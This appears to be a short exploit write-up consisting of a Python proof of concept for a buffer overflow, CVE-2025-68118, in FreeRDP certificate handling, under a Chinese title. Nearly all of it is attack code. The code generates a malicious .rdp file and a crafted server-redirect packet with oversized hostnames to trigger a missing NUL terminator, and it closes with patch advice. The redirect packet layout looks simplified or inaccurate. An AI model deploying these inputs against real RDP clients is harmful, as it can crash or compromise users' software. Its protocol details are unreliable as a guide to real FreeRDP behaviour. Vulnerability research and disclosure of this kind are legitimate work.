FreeRDP CVE-2025-68118 证书处理缓冲区溢出漏洞

# CVE-2025-68118 PoC - FreeRDP Certificate Handling Buffer Overflow # This PoC demonstrates the vulnerability in certificate filename generation import struct import os def create_malicious_rdp_file(): """ Create a malicious .rdp file with oversized hostname to trigger the NUL termination issue in certificate cache filename """ # The vulnerability occurs when hostname exceeds buffer size # _snprintf does not NUL-terminate when truncation occurs oversized_hostname = "A" * 512 # Exceeds typical buffer size rdp_content = f"""screen mode id:i:2 use multimon:i:0 desktopwidth:i:1920 desktopheight:i:1080 session bpp:i:32 compression:i:1 ip:vuln_server_{oversized_hostname}.example.com username:s:testuser """ with open("malicious.rdp", "w") as f: f.write(rdp_content) print(f"Created malicious.rdp with oversized hostname ({len(oversized_hostname)} chars)") return "malicious.rdp" def generate_server_redirect_payload(): """ Simulate a malicious RDP server redirect with long hostname This triggers the certificate filename generation vulnerability """ # RDP Server Redirection Packet with malicious hostname redirect_hostname = "B" * 600 # T.123 connection redirect packet structure packet = struct.pack('!I', 0x13) # Packet type: redirect packet += struct.pack('!I', len(redirect_hostname) + 100) packet += redirect_hostname.encode('utf-16-le') print(f"Generated server redirect payload with hostname length: {len(redirect_hostname)}") return packet def demonstrate_vulnerability(): """ Demonstrates the vulnerable code path in freerdp_certificate_data_hash_uses """ print("=== CVE-2025-68118 Vulnerability Demonstration ===") print("\nVulnerable code pattern:") print(""" // Vulnerable code in freerdp_certificate_data_hash_uses char filename[256]; _snprintf(filename, sizeof(filename), "cert_%s.cache", hostname); // BUG: When hostname is too long, filename is NOT NUL-terminated // Subsequent strlen() or strcpy() will read beyond buffer // Example attack vectors: // 1. Malicious .rdp file with long hostname // 2. RDP server redirection with crafted hostname """) # Create the PoC files create_malicious_rdp_file() generate_server_redirect_payload() print("\n=== Mitigation ===") print("Upgrade to FreeRDP >= 3.20.0") print("Apply official patch from: https://github.com/FreeRDP/FreeRDP/commit/a0b21f992a9de1de2468fc9e600aa2b7a4066307") if __name__ == "__main__": demonstrate_vulnerability()